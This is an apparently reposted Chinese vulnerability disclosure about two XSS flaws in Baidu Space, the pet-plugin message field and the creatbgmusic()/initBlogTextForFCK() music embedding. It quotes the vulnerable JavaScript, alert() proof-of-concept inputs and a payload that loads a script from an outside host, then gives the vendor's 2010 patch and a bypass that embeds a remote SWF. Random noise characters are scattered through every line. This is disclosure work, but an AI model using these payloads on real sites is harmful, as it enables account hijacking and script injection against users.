百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. & U" z9 ]4 A8 y6 o4 {2 e, s
& ~4 U& c3 ?+ G1 W& f
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
* p- I! X; m. S3 D, |2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
. l% ^: _6 [, f2 i! u& W; ]4 i. r Y1 b" S4 p1 i) J5 K/ P" h1 w# a
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 3 U+ @' y A7 _: W9 U e1 W; E
其中BdUtil.insertWBR为
: Y6 L% y( f# k# f, E7 }function(text, step) { 3 ?5 u8 B( o% e0 g) o' p
var textarea = textAreaCache || getContainer();
0 K8 K# Z2 j( `9 s! _0 T, Q if (!textarea) {
$ }1 @6 V9 I, i1 O/ m/ z4 e return text; % \# B$ Y. ^( b2 T/ y( k
} ) A* T6 R6 }1 }7 G3 b3 B3 t, w
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 5 H+ ^0 j% W2 ^$ ]
var string = textarea.value;
) B$ q, e3 u% I6 m: V! \3 S var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
( I g) H1 ?8 T: Y var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); ' M$ A. \6 r5 Z; O
return result; $ B& v x9 r8 b: c8 n" c
}
. ?; ~2 C8 u4 \在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
8 s& U9 h+ t0 r h7 H2 ^+ n7 i测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
. O7 R* U$ @. ^. @# n
: n3 ~$ v' m! J, G( A0 c' E二:creatbgmusic() Dom-Xss Bug : d6 t4 M+ s1 V& A
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
% V; s7 a" R/ o2 q% c3 N" l- X7 M/ p" d5 b8 V( C1 `
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
* q% h- @' O9 m& U# @- t7 E! Y2 p1 h0 b$ u! O& b
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
) p! F. x: ], B1 n //传入的murl赋值到bgmusic1和bgmusic2中
: o+ x8 O- d6 ^6 w7 D* ^& v //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
: F A/ o/ U; D# a2 _$ a! f8 w var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
4 ]1 Z x. h2 c if (musicnum <= 1) {
# W- N* H2 u% d8 |: Y. ^2 ~4 g bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
& H/ x! D( d: W/ D" S7 o5 T }
9 k" a( `! b: S2 a bgmusic1 += "</OBJECT>";
6 h8 u g7 b: D/ g, s7 p var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
5 ?2 v& W. b+ u- v8 L if (musicnum <= 1) {
0 k( E3 N; N/ A! q: X bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
4 `! n$ A3 B7 B: `7 d! f } 5 }: t9 H3 O) L2 L$ a# c
bgmusic2 += "> </EMBED>"; 2 t3 A, G6 X2 ?1 w/ m3 a
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
- m% R) e4 S! S# {0 m) C; \ var bgmus = detectWMP(); . d [: m5 i9 ~/ p! }& M5 z
if (functype == "FckMusicHelper") { n! [$ b; j, ~) w4 ~
if (bgmus.installed) {
% k3 j4 |# C: ]4 J) G- S" q2 h. s5 k if (bgmus.type == "IE") {
2 n7 ~8 V. W: z8 v return bgmusic1;
2 f' K$ d- _0 j: Z. e } else if (bgmus.type == "NS") { : @& \) D( F# o: u8 v8 |6 r
return bgmusic2; ! w2 j! F8 J) Z8 P
}
6 ~( U I2 U. M0 j } else {
2 b( \' T- l" m9 P+ V' q return bgmusic3;
, d3 ?7 l5 p- \2 Q } , H5 B& P& d4 j+ s
} else { : p3 k8 \4 Y+ M: X5 m
if (bgmus.installed) {
- a4 Q7 v4 _' u" ]: G1 L, I7 _, Y //document.write 直接输出bgmusic变量 导致xss + ^0 ]1 N% Z" R9 C `9 P
if (bgmus.type == "IE") { & y; f* @: o& G2 p- G$ h( L
document.write(bgmusic1);
4 w0 y+ ^) j6 b5 e! J' I9 I( { } else if (bgmus.type == "NS") { % H% V& h2 q, m8 u
document.write(bgmusic2);
1 n1 c8 K8 @8 P) J: I- |0 j b } $ }) a: `9 ?# p
} else { 2 @5 d/ d' e' L
document.write(bgmusic3);
0 I& f$ `9 g3 A, |5 |+ J& Q } * o7 T0 {* W: n6 a9 _0 v7 n
return "";
0 b1 D, b- b Q( i } 6 l" [& N1 r p0 s1 a* h/ c8 e# h
}
' O# K0 N1 @ p9 u5 W
/ E: P* L8 b/ E( ~$ I$ E& C1 Z/ a7 [在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: : h5 u; m0 p. ^1 z" V3 r! e' l
/ J( t0 d6 w0 v2 I; o) Q7 x
function initBlogTextForFCK(){ ; L! I# H4 Q; H" |# `: x6 J
//fck init music 8 V; i$ b; g1 {8 j# G3 H6 c
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ' ?! P: w' G% f3 d4 }2 ^, s# k w
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ) ~5 E5 G, z2 w& U1 P+ ?+ A
var isAutoPlay=true;
' H& s* C1 V. t" pfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 5 p8 q0 Q2 @: j8 V# P$ k0 C- I
var img=imgBox;
7 e$ w9 |! W" ^ ^& k if(img.getAttribute(’rel’)){
: }2 i; E; Y, I& s: e) v var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc ! O9 [0 C* v& A. {6 g4 A) i
var musicDiv = document.createElement("SPAN");
6 l4 G5 [# Q! {' s5 h var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] ) I) _5 s4 B' K6 W
, @3 W* K. ?' m4 F- D/ L3 N9 N .......................... c4 P w7 r' P' g6 h1 {: g; z0 H0 ~
2 P7 `3 g* u3 Z3 y$ a
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
- A: h' {0 r! Y: X$ N7 x1 i+ r var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
: F- f8 R7 @& F( o( n; @2 B shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ) L) \2 E( D, N0 e3 T9 h. k5 P
musicDiv.innerHTML=shtml; # D$ }) O8 ^) L9 e; R$ P
i--;n--; ' R* N/ j7 Z. v9 m0 e- O' S
} : D' u" @2 }/ g/ n' q; y9 K) K# g: N8 R
} # ?5 c; ?+ j4 F I
& ?/ f K7 E/ p" ?6 ~8 L1 S从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
" h7 z) x! |3 M & p, z5 T+ S1 z2 M* [6 q
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
2 Z8 A4 Y7 l# t- H
6 w/ E- M. r4 y' H7 m! F' u等待官方补丁 + m4 ~; h2 l; g
1 f) D, ^' W5 q+ m
update 2010年5月13日
1 s3 k2 w O# f+ N# `
+ k3 ^* A: y2 S: C2 X) R官方补丁: 4 m. c3 J8 |6 @1 H
C0 _. |2 }+ A' X: }var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); / ^8 Y! R( g0 ~7 U9 k. V5 F
改为:
1 Z- G+ F9 A o% J0 p: ?var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); $ e" Z& p& x8 y8 j
1 H0 f+ G7 i) |; ~6 v, o. t) f' wupdate 2010年5月13日 21:50:37
5 P Y; \3 |8 N0 E5 [1 [# W! O& e/ C
补丁存在漏洞 没有过滤" 可以继续跨:
1 v" r& {9 ?& H1 V( O# M. C$ w" |8 c7 a9 [; z; H" e$ ?
NEW POC:
1 |* C/ C$ X l/ E% P8 \
3 E! i( ]7 b- l% V; J# | I<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 1 M. r* g2 Q8 y
' T# p1 ?" F: j6 b; X! I
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
( F! b2 |6 P( E X7 v* j5 |1 w0 Q
3 Q4 F5 e- |; a- G |